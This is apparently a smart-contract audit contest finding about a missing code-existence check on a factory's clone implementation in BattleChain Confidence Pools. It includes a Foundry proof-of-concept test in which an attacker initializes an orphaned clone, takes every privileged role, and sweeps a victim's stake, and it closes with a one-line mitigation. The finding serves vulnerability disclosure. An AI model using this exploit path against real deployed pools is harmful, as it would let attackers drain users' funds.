BattleChain Confidence Pools
Cyfrin
FoundrySolidityLayer 2
7.25 ETH
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: low

poolImplementation is never checked for code, letting an uninitialized clone become a self-dealing honeypot

Author Revealed upon completion

Root + Impact

Description

  • ConfidencePoolFactory.createPool deploys each pool as a minimal proxy clone pointing at poolImplementation, then immediately calls initialize() on it through a delegatecall. This is the standard EIP-1167 pattern, cheap to deploy, all the real logic lives at one shared implementation address.

    OpenZeppelin's own documentation on Clones.cloneDeterministic states plainly that it does not check if implementation has code, and that a clone pointing at a code-less address cannot actually be initialized, even though the initialization call itself will not revert, it just silently does nothing. Neither initialize() nor setPoolImplementation() on the factory check poolImplementation.code.length > 0, only != address(0). If poolImplementation ever points at an address with no code, whether that happens at the factory's own initial setup or later through setPoolImplementation during an upgrade, every pool created against it looks completely normal on the surface, the clone deploys, createPool does not revert, but the clone was never actually initialized. It sits there, ownerless, waiting for anyone to call initialize() on it directly the moment real code eventually lands at that address.

// Root cause in the codebase with @> marks to highlight the relevant section
​
function initialize(address safeHarborRegistry_, address poolImplementation_, address defaultOutcomeModerator_)
external
initializer
{
if (safeHarborRegistry_ == address(0)) revert ZeroAddress();
@> if (poolImplementation_ == address(0)) revert ZeroAddress();
if (defaultOutcomeModerator_ == address(0)) revert ZeroAddress();
​
__Ownable_init(msg.sender);
__Pausable_init();
​
safeHarborRegistry = IBattleChainSafeHarborRegistry(safeHarborRegistry_);
poolImplementation = poolImplementation_;
defaultOutcomeModerator = defaultOutcomeModerator_;
}
​
function setPoolImplementation(address newPoolImplementation) external onlyOwner {
@> if (newPoolImplementation == address(0)) revert ZeroAddress();
address old = poolImplementation;
poolImplementation = newPoolImplementation;
emit PoolImplementationUpdated(old, newPoolImplementation);
}
And where the broken address actually gets used to deploy a clone that looks completely normal:
​
​
bytes32 salt = keccak256(abi.encode(agreement, _poolsByAgreement[agreement].length));
@> pool = Clones.cloneDeterministic(poolImplementation, salt);
​
IConfidencePool(pool)
.initialize(
agreement,
stakeToken,
address(safeHarborRegistry),
defaultOutcomeModerator,
expiry,
minStake,
recoveryAddress,
msg.sender,
accounts
);

Risk

Likelihood:

  • The initial deployment itself is safe, the real implementation is deployed inline in the same script run before the factory ever gets initialized with it. The realistic window is a later setPoolImplementation call during an upgrade, a separate manual admin action with no companion tooling anywhere in this repo to catch a mistake, for example a wrong address copied from a different environment, or a multisig batch where the "point the factory at it" transaction lands before the "deploy the new implementation" transaction actually confirms.

  • Once that single mistake happens, exploiting it needs no attacker sophistication at all. There is no custom bytecode involved, no CREATE2 racing, the attacker just calls initialize() directly on an already-deployed clone the moment real code exists at the implementation address, using nothing but the team's own unmodified contract

Impact:

  • Because the attacker calls initialize() directly instead of going through createPool, none of the factory's own protections apply. They can name themselves both owner and outcomeModerator on the same pool, something that is structurally impossible through the normal path, where the moderator always comes from the factory's own default, independent of who owns the pool.

  • They can also wire in a safeHarborRegistry they fully control, so they decide unilaterally when the pool reads as CORRUPTED, no real breach needed anywhere.

  • The hijacked pool is not merely an address that resembles a real one. It is still literally listed by getPoolsByAgreement as an official pool for that agreement, since that record gets written during the original broken createPool call and is never revoked. There is no function anywhere to delist a pool, so even a sponsor who notices the mistake immediately and creates a correct replacement pool cannot remove the broken one from that list, it stays exposed regardless of how responsible they are afterward.

  • Pausing the factory, the only emergency lever available, does not help. initialize() has no pause awareness at all, only createPool does, so a team that notices the broken implementation and pauses the factory to contain the damage has not actually stopped this.

Proof of Concept

This test shows the full path from an honest admin mistake to a rugged victim, using only real, unmodified ConfidencePool code the whole way through. The pool is created while poolImplementation still has no code, so it deploys but is never actually initialized. Real code lands there afterward, standing in for the team's own eventual fix. The attacker then calls initialize() directly, bypassing the factory, and is free to name themselves both owner and outcomeModerator, and to hand in a registry contract they deployed and fully control. A victim who still trusts this as the sponsor's original pool address stakes real funds into it. The attacker flips their own registry to CORRUPTED whenever they choose, flags it themselves as moderator, and sweeps it themselves as owner.
​
​
function testSeizedPoolBecomesSelfDealingHoneypotForFreshStakesWithRealCodeOnly() external {
// Pool is created while poolImplementation is still zero-code, the clone deploys but is
// never actually initialized.
vm.prank(agreementOwner);
address pool = factory.createPool(
address(agreement), address(token), block.timestamp + 31 days, ONE, recovery, _scope()
);
​
// Real code lands at the implementation address only afterward, no attacker bytecode
// involved, this is the team's own legitimate fix landing on its normal schedule.
ConfidencePool realImplementation = new ConfidencePool();
vm.etch(fakeImplementation, address(realImplementation).code);
​
// The attacker deploys and fully controls their own registry stack, they decide when
// CORRUPTED fires, with no dependency on any real event.
MockSafeHarborRegistry attackerRegistry = new MockSafeHarborRegistry();
MockAttackRegistry attackerAttackRegistry = new MockAttackRegistry();
attackerRegistry.setAttackRegistry(address(attackerAttackRegistry));
attackerRegistry.setAgreementValid(address(agreement), true);
attackerAttackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
​
vm.prank(attacker);
IConfidencePool(pool).initialize(
address(agreement),
address(token),
address(attackerRegistry), // attacker's own registry, not the real one
attacker, // attacker names themselves moderator too, impossible via createPool
block.timestamp + 31 days,
ONE,
attacker, // recoveryAddress is also the attacker
attacker, // owner
_scope()
);
​
assertEq(ConfidencePool(pool).owner(), attacker);
assertEq(ConfidencePool(pool).outcomeModerator(), attacker);
​
// A victim, seeing the same address the sponsor originally announced, stakes real funds.
address victim2 = makeAddr("victim2");
token.mint(victim2, 200 * ONE);
vm.startPrank(victim2);
token.approve(pool, 200 * ONE);
ConfidencePool(pool).stake(200 * ONE);
vm.stopPrank();
assertEq(token.balanceOf(pool), 200 * ONE);
​
// The attacker flips their own registry to CORRUPTED on demand, flags it themselves as
// moderator, then sweeps it themselves as owner, every role is the same one address.
ConfidencePool(pool).pokeRiskWindow();
attackerAttackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
​
vm.prank(attacker);
ConfidencePool(pool).flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
​
ConfidencePool(pool).claimCorrupted();
​
assertEq(token.balanceOf(attacker), 200 * ONE, "victim2's entire fresh stake was rugged");
assertEq(token.balanceOf(pool), 0);
}
The last assertion is the actual proof, every token the victim staked ended up with the attacker, drained through completely normal, unmodified contract functions.
​
Two further checks confirm this is not a contained risk. getPoolsByAgreement still returns this exact pool address after the seizure, since that record is written once at the original broken createPool call and never revoked. And pausing the factory, tested directly, does not stop the hijack either, since initialize() has no pause awareness at all.

Recommended Mitigation

Reject a code-less implementation address in both places poolImplementation can be set:
​
​
function initialize(address safeHarborRegistry_, address poolImplementation_, address defaultOutcomeModerator_)
external
initializer
{
if (safeHarborRegistry_ == address(0)) revert ZeroAddress();
if (poolImplementation_ == address(0)) revert ZeroAddress();
+ if (poolImplementation_.code.length == 0) revert ZeroAddress();
if (defaultOutcomeModerator_ == address(0)) revert ZeroAddress();
​
function setPoolImplementation(address newPoolImplementation) external onlyOwner {
if (newPoolImplementation == address(0)) revert ZeroAddress();
+ if (newPoolImplementation.code.length == 0) revert ZeroAddress();
address old = poolImplementation;
poolImplementation = newPoolImplementation;
emit PoolImplementationUpdated(old, newPoolImplementation);
}
Both checks are one line and reuse the existing revert, so there is no new error type needed. This closes the mistake at the source, a non-atomic setPoolImplementation call during an upgrade can no longer point at an address that has not been deployed yet. It does not, on its own, fix any pool that was already created during a broken window before the patch lands, so alongside the code change, the team should also re-check whether any already-created pools need to be manually re-initialized once poolImplementation is corrected.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!